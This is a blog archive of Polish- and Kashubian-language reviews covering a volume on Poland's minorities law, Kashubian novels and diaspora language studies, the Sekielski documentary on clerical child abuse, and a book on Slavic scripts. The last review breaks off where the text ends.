Archiwum kategorii: Recenzëjô

Państwo narodowo polskie wobec mniejszości narodowych i etnicznych

Niemal w ostatnim dniu 2020 r. dotarła do zainteresowanych książka TOŻSAMOŚĆ KULTURA RÓWNOŚĆ. Refleksje z okazji piętnastolecia Ustawy o mniejszościach narodowych i etnicznych oraz o języku regionalnym, pod redakcją Cezarego Obracht-Prondzyńskiego i Małgorzaty Milewskiej, wydana przez Instytut Kaszubski w Gdańsku. Gdy w tytule, bądź podtytule, pojawia się słowo “refleksje”, raczej sceptycznie podchodzę do tego typu publikacji. W tym jednak przypadku, po lekturze 30 artykułów składających się na to wydawnictwo, przyznaję, że jest to książka niezwykle ważna. 

W gronie autorów, których teksty znalazły się w książce TOŻSAMOŚĆ KULTURA RÓWNOŚĆ, znaleźli się zarówno przedstawiciele mniejszości reprezentujący (obecnie lub w przeszłości) swoje społeczności w Komisji Wspólnej Rządu i Mniejszości Narodowych i Etnicznych, jak też osoby, które “zawodowo” zajmują się tym zagadnieniem: eksperci Komisji Wspólnej, będący jednocześnie uniwersyteckimi badaczami, przedstawiciel w Komisji Ekspertów  przy Europejskiej karcie języków regionalnych lub mniejszościowych oraz urzędnicy, pracujący w instytucjach państwa odpowiedzialnych za politykę mniejszościową lub prawa obywateli. Refleksje tych osób okazały się być, w zdecydowanej większości, solidnymi opracowaniami, nierzadko podpartymi ważnymi cytatami oraz odesłaniem do źródłowych dokumentów, dzięki którym zainteresowani będą mogli poszerzyć lub skonfrontować już posiadane informacje.     

Redaktorzy publikacji zdecydowali się zamieścić przekazane im teksty kierując się kluczem alfabetycznym nazwisk autorów, co można zrozumieć znając specyfikę środowisk mniejszościowych i delikatną materię personalnych relacji w instytucjach państwowych. Nie trzeba jednak – a może nawet nie należy – czytać tej książki od przysłowiowej deski do deski.  

Proponuję zacząć od dwóch artykułów autorstwa Dobiesława Rzemieniewskiego, twórcy i długoletniego naczelnika Wydziału Mniejszości Narodowych i Etnicznych w MSWiA oraz Beaty Machul-Telus, równie zasłużonej sekretarz Sejmowej Komisji ds. Mniejszości Narodowych i Etnicznych. Niemal z pierwszej ręki uzyskamy wiedzę na temat tworzenia się od lat 90. XX wieku prawa mniejszości – stosunku do tego procesu partii politycznych i ich liderów (często wręcz wrogiego) – ale również odnoszenia się do sprawy niektórych liderów środowisk będących potencjalnie adresatami wypracowywanych rozwiązań.            

Po 15 latach funkcjonowania Ustawy o mniejszościach narodowych i etnicznych oraz o języku regionalnym, przestaliśmy już chyba sobie zdawać sprawę, że do jej uchwalenia w ogóle mogło nie dojść. Beata Machul-Telus trafnie przedstawiła sytuację:

Do projektu Ustawy o mniejszościach narodowych i etnicznych oraz o języku regionalnym w latach poprzedzających jej uchwalenie zgłaszano wiele zastrzeżeń, obaw i wątpliwości. Prezentowane argumenty można podzielić na trzy obszary: 1. przekonanie o wyjątkowej, historycznie uwarunkowanej, tolerancji Polaków oraz przeświadczenie, że Polska stanowi wzorzec dla innych państw w kwestii uregulowania ochrony społeczności mniejszościowych, 2. obawy, że wprowadzenie ustawy (szczególnie posługiwanie się językiem mniejszości jako pomocniczym w stosunkach urzędowych oraz dwujęzyczne nazwy geograficzne) doprowadzi do konfliktów etnicznych, co może zagrozić polskiej racji stanu, 3. pogląd, że ewentualne przyjęcie ustawy musi (a nie jest) być powiązane z tzw. zasadą wzajemności i związana z tym obawa o brak wpływu na losy Polonii za granicą. (s. 184)  

Na kanwie tamtych dyskusji, poprzedzających najważniejszą polityczną decyzję dotyczącą mniejszości narodowych i etnicznych w Polsce, kaszubskiego czytelnika mogą szczególnie zainteresować odniesienia do casusu Kaszubów. Łukasz Grzędzicki, który reprezentuje Zrzeszenie Kaszubsko-Pomorskie w Komisji Wspólnej Rządu i Mniejszości Narodowych i Etnicznych, w swoim tekście zatytułowanym “Kaszuby nie należą do Polski, one Polskę stanowią” (jest to cytat z ks. Bernarda Sychty) wyjaśnia, że: 

Przez 30 lat od początku procesu transformacji ustrojowej w Polsce mieliśmy do czynienia z silnym dążeniem do znacznego podwyższenia statusu społecznego i językowego kaszubszczyzny. Takie dążenia, konsekwentnie realizowane, nie występowały w żadnej innej części Rzeczpospolitej (s. 110-111). 

Z kolei Dobiesław Rzemieniewski, wspomniany już Naczelnik WMNiE, w tej samej sprawie napisał:    

Dopiero kiedy ustawa zaczęła przybierać realne kształty i jasne stało się, że w końcu zostanie uchwalona, a objęte nią grupy odniosą dzięki jej przyjęciu konkretne korzyści, zaczęli się nią żywo interesować Kaszubi. Jak to? – dziwili się posłowie. – Przecież dziesięć lat temu, kiedy pytaliśmy, czy chcecie, aby ustawa was obejmowała, nie byliście tym zainteresowani, mówiąc, że czujecie się Polakami. Kaszubi potwierdzili, że nadal nie czują się ani mniejszością narodową, ani etniczną, ale równocześnie chcą korzystać z zapisanych w ustawie praw. O dziwo z tej kwadratury koła udało się znaleźć rozwiązanie. Kaszubi byli bowiem zainteresowani przede wszystkim prawami językowymi i ochroną swojego języka (s. 258-259)

Helena Duć-Fajfer, w artykule Centrowy dyskurs w mniejszościowych sprawach, niejako w uzupełnieniu informacji Dobiesława Rzemieniewskiego, cytuje opracowanie Grzegorza Janusza i dzieli się następującą konkluzją:

Z kolei określenie „społeczność posługująca się językiem regionalnym” jest przede wszystkim efektem uwzględnienia wypowiedzi posła uznającego się i uznanego za reprezentanta Kaszubów: “(…) poseł Jan Wyrowiński z UD (reprezentujący Zrzeszenie Kaszubsko -Pomorskie) stwierdził, że ustawa jest adresowana do tych mniejszości, które nie identyfikują się z narodem polskim, a Kaszubi jako należący do narodu polskiego nie powinni być objęci przepisami tej ustawy.”   

Ludomir Molitoris, autor tekstu 15 lat istnienia Komisji Wspólnej Rządu i Mniejszości Narodowych i Etnicznych z punktu widzenia słowackiej mniejszości narodowej, zamyka ten interesujący wątek podsumowując: 

Warto w tym momencie przypomnieć, iż Ustawa 6 stycznia 2005 r. o mniejszościach narodowych i etnicznych oraz o języku regionalnym uchwalona została głosami ówczesnej koalicji lewicowej: SLD, SdPl i Unii Pracy. Głosowali za nią też posłowie koła Partii Ludowo-Demokratycznej i część posłów niezrzeszonych, a Platforma Obywatelska, będąc za przyjęciem tego dokumentu, przeforsowała jednocześnie poprawki, które w dużej mierze ograniczały zakres jego stosowania i możliwości dopuszczenia używania w urzędach języka mniejszości jako pomocniczego8 . Platforma Obywatelska doprowadziła również do poszerzenia zakresu ustawy o sformułowanie „oraz o języku regionalnym”, które odnosiło się do społeczności kaszubskiej posługującej się językiem regionalnym. Dodanie tego zapisu zaproponował Dobiesław Rzemieniewski, naczelnik Wydziału do Spraw Mniejszości Narodowych w MSWiA, co ostatecznie, pomimo sporów, zostało zaakceptowane przez Kaszubów i znalazło się w tekście dokumentu9 . Przeciwko ustawie opowiedziały się partie i kluby prawicy, m.in. Prawo i Sprawiedliwość, Liga Polskich Rodzin, Ruch Katolicko-Narodowy, Dom Ojczysty, a także posłowie PSL i prawie wszyscy posłowie Samoobrony (s. 223-224). 

Niejako “drugi rozdział” w moim czytaniu książki TOŻSAMOŚĆ KULTURA RÓWNOŚĆ…, stanowiły artykuły ekspertów i “osób urzędowych”, w tym Rzecznika Praw Obywatelskich, demografów z Głównego Urzędu Statystycznego, przedstawicielki państwa polskiego w Komisji Ekspertów EKJRM, doradców strony Mniejszościowej Komisji Wspólnej Rządu i Mniejszości Narodowych i Etnicznych. Warto zwrócić uwagę, że są to teksty krytyczne, a ich autorzy widzą zarówno mocne jak i słabe strony funkcjonowania Ustawy o mniejszościach narodowych i etnicznych. Wśród tych ostatnich Ewa Michna, autorka tekstu System dotacji jako narzędzie polityki państwa wobec mniejszości zwraca uwagę na finansowanie zadań, które państwo polskie zobligowało się realizować:

Na to, że kwota z części 43 [budżetu państwa – AJ] jest coraz bardziej niewystarczająca składa się kilka czynników. Wymienię je nie rozstrzygając, które z nich są najistotniejsze. Po pierwsze, środki nie są corocznie zwiększane o wskaźnik inflacji; po drugie, zmieniają się potrzeby społeczności mniejszościowych; po trzecie, zwiększa się aktywność mniejszości, pojawiają się nowe podmioty, które pragną realizować przewidziane w ustawie zadania, zatem choć finanse są na podobnym poziomie, w odczuciu mniejszości (i nie tylko ich) jest ich mniej, bo zwiększa się liczba chętnych na nie; droższe jest także funkcjonowanie organizacji mniejszościowych otrzymujących dotacje podmiotowe (wzrastają koszty pracy, energii, wynajmu pomieszczeń, usługi). Stała kwota dotacji skutkuje tym, że organizacje mniejszościowe odpowiadające za realizację celów ustawy wymienionych w art. 18 z coraz większym trudem realizują swoje zadania. Moje doświadczenia pracy w komisji oceniającej wnioski wskazują, że nie ma praktycznie możliwości rozwoju, nie można finansować prawie żadnych nowych projektów, bo sfinansowanie nowego wniosku oznacza „zabranie” lub obniżenie dotacji komuś innemu. Podobnie rzecz ma się z nowymi podmiotami, które mają niewielkie szanse na otrzymanie grantu. W sytuacji tak napiętego stałego budżetu, w tej „grze o sumie zerowej”, każdy nowy podmiot i inicjatywa mogą być postrzegane przez przedstawicieli mniejszości obecnie korzystających z finansowania jako kłopotliwa konkurencja, mogą powodować pytania: kto zabrał „moje”/„nasze” pieniądze (s. 199). 

Wnikliwa analiza Ewy Michny, poparta warsztatem socjolożki i 10-letnim doświadczeniem pracy w KWRiMNE, stanowi – poza wszystkimi innymi walorami tego tekstu – wyczerpujące wprowadzenie do trzeciej części książki – przeze mnie tak odczytanej – którą stanowią artykuły osób reprezentujących organizacje mniejszości, a więc adresatów prawnych uregulowań Ustawy z 6 stycznia 2005 r. Refleksje tych osób to nie są utyskiwania na niedoskonały system (nota bene to jest prawda), lecz feria – tak barwna jak barwne są mniejszości – konkretnych przykładów na funkcjonowanie (nie-funkcjonowanie?) prawa. Różni się nieco od tych artykułów tylko jeden tekst autorstwa Heleny Duć-Fajfer, Łemkini i uniwersyteckiej badaczki, którego lekturą proponuję zakończyć czytanie książki TOŻSAMOŚĆ KULTURA RÓWNOŚĆ… Helena Duć-Fajfer wychodzi poza prostą refleksję i pisze:

Warto podkreślić to, co bezpośrednio wyraził przed pięciu laty Andrzej Sadowski w swej wyrazistej opinii: “Moim zdaniem ustawa została przygotowana z punktu widzenia interesów państwa narodowego zakładającego najogólniej, że Rzeczpospolita Polska stanowi państwo zorganizowane przez Polaków jako dominującą grupę narodową, państwo narodowo polskie, które w warunkach demokratycznych wyraża przyzwolenie na legalne funkcjonowanie w obrębie <swojego> państwa mniejszości narodowych i etnicznych oraz zbiorowości wyróżnionych na podstawie języka regionalnego. Państwo wyraziło przyzwolenie poprzez przyjęcie ustawy, która najogólniej zakreśla ramy funkcjonowania mniejszości oraz generalnie wytycza zadania państwa i innych organów władzy publicznej względem wyróżnionych w ustawie mniejszości narodowych i etnicznych oraz społeczności wyróżnionych posługiwaniem się językiem regionalnym. Ustawa implicite zakłada, że każdy obywatel naszego kraju może być zaliczany jedynie do narodu polskiego lub do wyróżnionych poszczególnych mniejszości narodowych i etnicznych.” 

Zdiagnozowana została tu generalna baza dysfunkcyjna ustawy generująca liczne niekonsekwencje i ambiwalencje w jej zapisach i implementacji, którym nie byli i nie są w stanie przeciwdziałać jej promotorzy. Dołączam się do zacytowanej opinii, przenosząc ją jednocześnie na grunt i zastosowanie instrumentarium pojęciowego, które wykorzystuję w swych badaniach dyskursów mniejszościowych. Państwo narodowe w tej perspektywie to oczywiste parole centrum, ugruntowanego na wiedzy-władzy i instytucjonalnym „czystym”, uprawnionym statusie, podczas gdy mniejszości są bytami peryferyjnymi, hybrydycznymi, niedojrzałymi, niedostatecznie ustrukturyzowanymi. Klasyczny układ centrum-peryferie rozgrywa się, jak wiadomo, według dwóch podstawowych schematów: strukturyzowania (obejmowania centrowymi zasadami/ prawami peryferii) i wykluczania (wyłączania z własnego obszaru bądź niedostrzegania/ uznawania za nieistniejące). Te oczywistości tkwiące u podstaw myślenia strukturalistycznego modyfikuje konkretna rzeczywistość historyczno-kulturowa.           

Pomimo tych istotnych zastrzeżeń, Helena Duć-Fajfer jak i wszyscy pozostali reprezentanci mniejszości, którzy opublikowali swoje stanowiska w omawianej książce, uznają ustawę z dnia 6 stycznia 2005 r. za ważne osiągnięcie w polityce państwa polskiego i wskazują, iż jest to dzieło wielu zaangażowanych osób. Wobec tego jedyne, czego można żałować podczas lektury wydawnictwa Instytutu Kaszubskiego w Gdańsku, to fakt, że wypowiedzi tych polityków zabrakło w publikacji.   

Książka TOŻSAMOŚĆ KULTURA RÓWNOŚĆ. Refleksje z okazji piętnastolecia Ustawy o mniejszościach narodowych i etnicznych oraz o języku regionalnym, pod redakcją Cezarego Obracht-Prondzyńskiego i Małgorzaty Milewskiej, wydana przez Instytut Kaszubski w Gdańsku, dostępna jest w formie elektronicznej: https://www.instytutkaszubski.pl/single-post/publikacja-z-okazji-15-lecia-ustawy-o-mniejszo%C5%9Bciach-narodowych-i-etnicznych 

Njenajadlosc pò lekturze “Cëskù” Stanjisłava Jankji 

Gùst Kaszëbòvskji… anjelskji Samuel Pepys? Pòlskji Mjikòlôj Dosvjôdczińskji? Wurodzoni v Wustarbòvje, vëchòvóni ë vëwuczoni v Mjesce/Vejrovje. Jednõ razõ jidze v svjat, cobë przecignõc na zúdã (tã kaszëbskõ), vest (kaszëbskji ë navetka francëskji, wo jakjim pòvjôdô jewo përznã starszi kùzénj), téj zôs dalek na óst (Kòlc na Siberëji), żebë vrócëc na nordã, do czësto jú jinéwò, chòc dërch ne saméwo Vejrova. Blós że nen Gùst sóm so tewo nje zrobjil. Na pińclatnô réza to nje bél jewo vëbjér, a to co won z nji przëvjóz, njijak do mjenjanjô svjata sã nje nadôvalo… 

Nej! Gùst nje szlachùje za żódnim z herojóv fjilozoficznëch pòvjôstkóv. Nje je won takjim, co bë svój vãder v jakjim dzénnjikù wopjisôl ë nafùlovóni svòjima mrzónkama mjôl bë tvòrzëc wutopjijni svjat szczestlëvëch lëdzi. “Cësk” Stanjisłava Jankji (pòl. Stanisław Janke), chtërnéwo herojõ pravje je Gùst Kaszëbòvskji, v calosci je pòvjescõ wo njeszczescim czlovjeka krõcõcéwo sã razã ze svjatã I pòlovë XX stalecô.

Nen czlovjek pòznôl tak vjele bjédë ë pònjevjérkji, tak vjele razi wocar sã wo smjerc, że v kùńcú v njim “jakbë cos wumjarło”. A mje sã zdôvô, że przez nen “cësk”, nen njewubëtk ë wurzas, jakjé tovarzëlë mù wob calé żëcé – wod dnja, kjéj gò czôrni pjes Aza wużar v kro ë nen szczirz  za stodolõ prosto wutlëkli zó to wostôl, przez nen dzénj, kjéj do njewo v Pjôsznjici  strzélalë Njemce ë won jak no szczërzëszcze cali v krëvji kraczil sã z rovù fùl trúpóv, jaż pò bòlestnõ stratã brzadë svòji mjilosce przëszléwo do wuszkòdë v krëvavi plëce. 

Nã svòjã wopòvjednjã Gùst Kaszëbòvskji przedstôvjô bez vjikszéwo vzbùrzenjéwo abò jakjéwos rozmjitczenjô. Kò móże czasã, dzes v tim, co przekazëje, zadërżi jakôs nóta gòrzë, strachù czë redosce, ale wona le ledvò zvãczi. Pòvjôdanjé Gùsta je skòncentrovóné na prostim “jô bél”, “jô zrobjil”, “mje vzãnë”, “mje rozkôzalë”, “do mje strzélalë”, “jô sã wuretôl”. Nji ma tam placë na wopjisënk nôtërë czë rozmiszlanjé nad jakjima dejama, wudbama, pòzdrzôtkama. Przez to svjat Gùsta je dosc prosti, chòc tak pòmachconi. Czëtajõcë “Cësk” më sã v kùńcú doznômë, czemù to tak je. Kò przëczënõ tewo dosc czôrno-bjôléwo vzéranjéwo na svjat sõ smùcënë. Chòrosc dopadô Gùsta kòl 40 rokù żëcéwo. A móże vjedno wona v njim bëla?  

Hewo, pravje przez në smùcënë heroje, v “Cëskù” czëtôrz nje naléze żódnëch tôklóv bënovëch Gùsta, nomen omen, Kaszëbòvskjéwo. Jak wo tlëkõ za kaszëbjiznã, to barżi gò bòli jak robji to pòlskji szkólni, njigle ten mjemjeckji. Won je Kaszëba ë Pòlôch. Won vjé, że “ni ma Kaszëb bez Polonii” ë że to sõ slova kaszëbskjéwo pòétë, co sã zvôl Derda. Won vjidzi vjelgji znaczënk zaslëbjenjéwo Pòlskji z mòrzã przez Jenrôlã Hallera ë woli damjic, kjéj żôlnérze cëzi armje robjõ krzivdã kaszëbskjim sõsadóm. Chòc ve vjele pòstacëjach wuzdrzimë calõ plejadã kaszëbskjich pjisarzi: v tim falú Aleksãdra Majkòvskjéwo, Jana Karnovskjéwo, ksãdza Frãca Grëczã ë drëgjich dzejarzi jak Wojcech Kjedrovskji ë Tédór Bòlduan, to Hieronjim Jarosz Derdovskji je v romanje Jankji tim, chtëren pòkazëje Kaszëbóm jich drogã.

Trochã szkòdã, że Stanisłôv Janka tak plaszczi svjat svòji pòvjescë, chtërna mjala doch dofùlovac, bënômji jô tak mëszlã, wopòvjednjã newo pjisarza wo XX stalecim. Ta pjerszô kaszëbskô (pò kaszëbskù napjisônô) pòvjesc Jankji to bëla “Łiskawica”, v jakji czëtôrz pòznôvô farvné, chòc cvjardé realia Kaszëbskji lat 50., 60. ë 70. zeszléwo vjekù. Pjiszõcë lata temù wo ti ksõżce v pjismjenjú Pomerania, mje sã dalo pòróvnac jã do znóni pòlskji pòvjescë “Konopielka” Edvarda Redlinskjéwo, abò do ksõżk Andrzeja Stasiuka, jakjima zaczëtëjõ sã dzisô njé le v Pòlsce. Dobri je téż “Żôłti kam”, tlomaczoni przez autora na kaszëbskji z pòlskjéwo jãzëka. V tim romanje njivõ wopòvjesce Stanjisłava Jankji sõ lata 70., 80. ë 90. XX vjekù na Kaszëbach. V wobùdvúch tëch ksõżkach vjele sã dzeje v glovach ë dëszach jich herojóv, chtërni nôleżõ do lëdzi szúkajõcëch gvôsnéwo placë ë svòjéwo môla v spòlú – gòdzõ sã z njõ abò jã wodrzúcajõ.

Jô żalëjã, że Stanjisłôv Janka nje wopjisëje róvnak téż v “Cëskù” kaszëbskjich tôklóv ze svòjõ tożsamòscõ, jakjé tak letkò bë bëlo pòkazac v lõczbje z Vejrovã, mjastã tak vôżnim v cali ksõżce. Jo, to je prôvda, że autór nadkjidnõn wo vjele rzeczach, chòcle wo pòwòjnovi Zrzeszë Kaszëbskji, wo I Kòngresú Kaszëbskjim. Ale zrobjil to jakbë blós z chrónjikarskjéwo mùszu. Jistno zresztõ je z drëgjima spravama, ledvò dotklima v jednim abò dvúch akapjitach. Pò przeczëtanjim ti nônovszi pòvjesce Stanjisłava Jankji wostôl v mje glód… njenajadlosc vseczëcóv.           

“Cësk”, autor: Stanisłôv Janka (Stanisław Janke), malënkji na wobklôdce ë bënë: Macéj Tamkùn, vëdalo: Zrzeszenie Kaszubsko-Pomorskie, Gdúńsk 2020.  

Kaszëbskji jãzëk za woceanã pòd cëskã anjelszczëznë

Pòcztõ z Bjura Zarzõdë Kaszëbskò-Pòmòrskjéwo Zrzeszenjéwo ve Gdúńskù zaleca do Czôrnéwo Mlina, mje njic tobje njic, ksõżka Stanjisłava Frimarka wo gôdce Kaszëbóv v Kanadze, Sztécach (USA) ë Novim Zélance. Sóm autór, jú na pòczõtkù, v pòdzëkòvanjach,  dôvô do vjédze, że spòdlã ni pùblikacëji bëlë jewo dvje licenciackjé prôce. Jedna wosta napjisônô na kúńc sztudióv kaszëbskji filologie na Gdúńskjim Wuniversitece, a drëgô na kúńc sztudióv filologie anjelskji v Pòvszechni Vëższi Szkòli Humanisticzni “Pomerania” v Chònjicach. Ksõżka nji mògla bëc téj jinaczi vëdônô jak blós dëbelt: pò kaszëbskù ë pò anjelskù. 

Na jãzëkòvô dëbeltnosc to je pjerszé z kjiles dobroctvóv ti pùblikacëji. Jinim – nôvjikszim – dobroctvã je przedstavjenjé gvôsnëch badérovanjóv Stanjisłava Frimarka zrobjonëch na kontinence Nordovi Amerikji ë na Novòzélanckjich Wostrovach. Autór doprzëszed v wostatnëch kjiles latach do kjiledzesõt sztëk Kaszëbóv – mjigrantóv ve czvjôrtim abò navetka pjõtim pòkòlenjim – ë pitôl wo jich etnjiczné pòczëcé, historicznõ pamjãc ë jich jãzëk kaszëbskji. Brzôd nëch badérovanjóv wostôl v drobnotach przedstavjoni v 2 dzélach prôce. Vszëtkji në trzë njivë przënôszajõ czekavé wodkrëca, a navetka wosoblëvé smaczkji. 

Wo jednim takjim wodkrëcim jô tú nadkjidnã, a jinëch szëkôjta sami. Mje wujãna historëjô Gail Olsheski (Gail Henley), chtërna je jakbë dokúńczenjim spravë napjisôni przez njã v 1978 r. ksõżkji pòd titlã Where the Cherries End Up, jakô bëla tlomaczonô na vjele jãzëkóv, v tim na pòlskji (Co się stanie z wisienkami, Państwowy Instytut Wydawniczy, Warszawa 1986). V pjismjenjú “Pomerania” (nr 11, 1979) wo tim romanje, jakno wo wobrazú Pòlôchóv v Kanadze, pjisôl Lech Bõdkòvskji. Gail Olsheski (Henley) pòvjôdô Stanjisłavòvi Frymarkòvi jak wona z “Pòlôszkji” stala sã Kaszëbkõ. 

Autór ksõżkji nje wucek róvnak przed felama, jakjé – móże rzec – vzãnë sã z njesprôvdzenjô zdrojóv abò prosto z vjarë v prôvdzëvòsc lëdzkji pamjãce. V tim falú vezmë spravã “Pjerszéwo szkólnéwo kaszëbskjéwo jãzëka v Kanadze”, chterën “na rôczbã spòlëznë kanadzkjich Kaszëbóv vëjachôl za wocean, cobë wuczëc jich dzecë v katolëckjich szkòłach…”. Jakbë autór to bél spravdzil, to bë vjedzôl, że nen projecht realizovôni bél vespól przez trzë stovôrë: Wilno Heritage Society (jakjé dalo szkólnémù dak nad glovõ ë pôlnja v kaszëbskjich famjiliach), Wspólnota Polska (jakô dzãka ji przédnjikòvi Macejovi Płażińskjémù – honorovémù nôleżnjikòvi KPZ – dala szkólnémù pólroczné sztipendium v talôrach [dolarach] ë pjenjõdze na fliger) ë Kaszëbskò-Pòmòrskjé Zrzeszenjé (jakjéwo Woglovi Zarzõd newo szkólnéwo nalôz, vszëtkò zegrôl, rozliczil ë zrëchtovôl). 

Felëje mje téż v ksõżce Stanjisłava Frimarka vjikszéwo wopjisanjô donëchczasovëch badérovanjóv kùlturë ë jãzëka Kaszëbóv v Americe. To bë sã przëdalo, wosoblëvje mlodim czëtarzóm, chtërni mògõ nje vjedzec (a z ti prôce sã nje dovjedzõ) wo rézi Jana Drzéżdżona do Kanadë ë Sztécóv ë jewo “Rozważaniach nad kulturą Kaszubów kanadyjskich”. Nje dovjémë sã téż wo badérovanjach Józefa Bòrzëszkòvskjéwo wopjisônëch v ksõżce “O Kaszubach w Kanadzie” (2005) anji wo rozmiszlanjach Edvarda Bréze wo nôzvëskach Kaszëbóv v Kanadze (Nazwiska Kaszubów kanadyjskich, “Rocznik Gdański”, t. XLV, 1985), anji navetka wo tim, co wo Kaszëbach v Kanadze napjisôl Kadzëmjérz Ickevjicz (ZKP, Gdúńsk 2008). Szkòda téż, że v svòji ksõżce Frimark nje vëzvëskôl jãzëkòvëch zdrojóv jakjima sõ filmë zrealizovóné v Kanadze przez Henrika Bartula ë Eugenjusza Prëczkòvskjéwo.  

Ksõżka je dosc tëli wubòkadnjonô wodjimkama. Nódto je v nji slovôrz kanadzkji gôdkji ë jindeks nôzvëskóv. Bjibliografjô – jak jô jú pjisôl – je dosc wubògô, chòc sõ v nji ksõżkji novi, anjelskòjãzëkòvi, jakjich kaszëbskji czëtôrz móże nje znac. Woglovò móże rzec, że mjimò tëch vskôzônëch felënkóv, prôca S. Frimarka je pjerszõ ë wudónõ próbõ wopjisanjô tak drobnotovò gôdkji kaszëbskjich mjigrantóv ë cëskù na njã anjelskjéwo jãzëka.

Ksõdz to njé Jezës. Szokùjõci film wo ksãdzach pedofjilach sã dzeje téż na Kaszëbach

Njé to je tú nôvażnjészé, bò dokùmant bratóv Sekielskjich szokùje mjimò tewo, ale pravje ta blëzkòsc rëmù, fakt, że akcëjô sã vëdôrzô v dobrze mje znônëch placach na Kaszëbach ë Pòmòrzim, ë wobjimô pòpùlarné pòstacëje v naszim pòmòrskjim wuniversum, vstrzõs mnõ jesz vjicé. Sõ ve filmje Kartúze, je Gòvjidlëno, Gdónsk, Bëdgòszcz, Brodnjica; spravë zadzévajõ wo takjé persónë jak gdónskji metropòlita Sławoj Leszek Głódź abò Lech Wałęsa. Zmjescil sã véj v kadrze navetka kaszëbskji pòczet ze stanjicõ. Dlôcz to mô znaczenjé?

Atutã ne filmù je to, że derekt pòkazëje przipôdkji seksualnéwo vëzvëskòvanjô dzeci przez ksãdzóv, dozvôlô sã pòznac z jich wofjarami, dôvô jim glos, dozvôlô vëslëchac jich historij, zrozmjôc, jak do te przëszlo, jakjé mechanismë zó tim szlë, wod mòmantë wostanjô slúżkã abò gòscënë na plebanjiji. Bracô Sekielskji provadzõ narracëjõ bez teze, na zëmno ë na sëchò pòkazëjõ faktë, bez vlôsné kòmantérë. Njejedni sprôvcovje sami sã przëznôvajõ do vjinë na nagranjim, nje wostôvjajõ vãtplëvòsci ë rëmù na jich bronjenjé.

„Tylko nie mów nikomu” nje je filmã wo pedofjiliji v Kòscele, to je film wo krëcim pedofjiliji v Kòscele – takõ kòmantérã móm czëté ë cãżkò sã z tim nje zgòdzëc, dokùmant pòkazëje vëprôcovôné mechanismë ë taktikji jignorovanjô ë krëcô pedofjilóv przez kòscelnëch hierarchóv ë nôblëższé strzodovjiszcze. Chto mô strach to przëznac, ten mô strach prôvdë. A chto wodpòvjôdô, że doch „v jinëch varkach” téż sã trafjajõ pedofjile, ten sprovôdzô debatã do absurdë ë jignorëje mechanismë krëcô pedofjilóv przez kòscelné sztrukturë, jakjé nji majõ wodpòvjednjika v njiżódnim jinszim strzodovjiszczú.

„Ja przecież uczę w tej szkole. Dzieci uczę, nie? Te dzieci uwielbiają księdza. Ksiądz jest dla nich kimś jak Pan Jezus. I one wiedzą o tym. I tak powinno być!”

Je v tim vszëtkjim jesz pùzzel, jakji przëcig mòjã wuvôgã jakò kòwos z môléwo mjastka, z provinca: famjilëjô, vëchòvanjé ë spòle. Jô rozmjejã, dlôcz wofjarë z filmù sã dalë psichiczno wusidlëc svòjim woprôvcóm, bò jô jesz pamjãtajã, co wod môléwo vklôdô sã kòl nas dzecóm do glovë: respekt, pòdziv, zavjerzenjé, vnetka nôbòżnõ tczã dlô ksãdza, chtëren chòdzi jak v aurze czëstosce ë njick zlégò doch wod jegòmòsca przińc nji móże. Ksõdz je vëjimkã wod regùle. Nje zavjerzéj cëzim lëdzóm, nje bjerzë wod njich bómkóv, nje jidzë z njimi, kjéj chcõ cã gdzes zabrac. Ale kò njé jegòmòscúlkòvi, jegòmòscúlk je móralno lepszi jak jini czlovjek. Doch jo? V „Tylko nie mów nikomu” jeden ksõdz gôdô to czësto ôpen: „Ja przecież uczę w tej szkole. Dzieci uczę, nie? Te dzieci uwielbiają księdza. Ksiądz jest dla nich kimś jak Pan Jezus. I one wiedzą o tym. I tak powinno być!” Nie, nie powinno. Jedna wod wofjaróv v dokùmance klôr gôdô, że malastovanjé trëvalo mjesõcami, bò starszi prosto nje rozmjelë wuvjerzëc, że jich dzeckò je gvôlconé przez ksãdza, a doch tak bëlë sztolc, że jich sink je za slúżka v kòscele. „To księża krzywdzą wasze dzieci. Nie swoje. Ofiarom należy się troska, nie wasze bieganie na klęczkach koło księdza, czy biskupa. Koniec z bałwochwalstwem. Zobaczycie te wilki w koloratkach – od zwykłych księży po biskupów. Zobaczycie po prostu ludzi zepsutych. Na tym filmie zobaczycie, co z księdza może zrobić mentalność, że on jest drugim Jezusem. Jak to jest zgubne. To nie tylko narcyzm, ale choroba”. Tak v kôzanjim skòmantovôl film ks. Jacek Prusak. „Żaden ksiądz nie jest drugim Jezusem.” Nje kladzëta tewo dzecóm v glovë.

„Tylko nie mów nikomu”, całi film je dostãpni na YouTube

Pismo w dyskursie narodowym

Refleksje po lekturze książki Artura Stęplewskiego

Dla mnie, osoby od 30 lat uczestniczącej w procesie standaryzacji języka kaszubskiego z perspektywy dziennikarza i literata, książka Artura Stęplewskiego „Semioza pisma. Cyrylica i łacinka w serbskim i chorwackim dyskursie narodowym na tle słowiańskim” jest swego rodzaju odkryciem nowego/starego terytorium, po którym stąpałem od dawna, kierując się intuicją i doświadczeniem, lecz nie potrafiłem do końca go nazwać i opisać. To lektura dla każdego – językoznawców i laików w tej dziedzinie, i choć Kaszubi i język kaszubski pojawiają się na kartach tej książki jedynie w sposób kontekstowy, to warto po nią sięgnąć, by wiedzieć, że nasze problemy z językiem, jego ortografią i standaryzacją nie są niczym wyjątkowym w świecie słowiańskim.

Pierwsza część publikacji omawia pismo jako „obraz języka i znak kultury”, zaś druga poświęcona jest „słowiańskim zmaganiom z pismem i grafią”. Najwięcej miejsca autor poświęca, oczywiście, casusom serbskiego i chorwackiego – opierając się na najnowszych XX- oraz XXI-wiecznych przykładach tych dyskursów narodowych, ale jednocześnie umiejętnie sięga po szeroką paletę przykładów z dyskursów innych narodów słowiańskich: tych najdawniejszych, pansłowiańskich wizji jednego języka z wieloma narzeczami, jak również tych najnowszych, śląskich dążeń do ustandaryzowania własnego etnolektu.

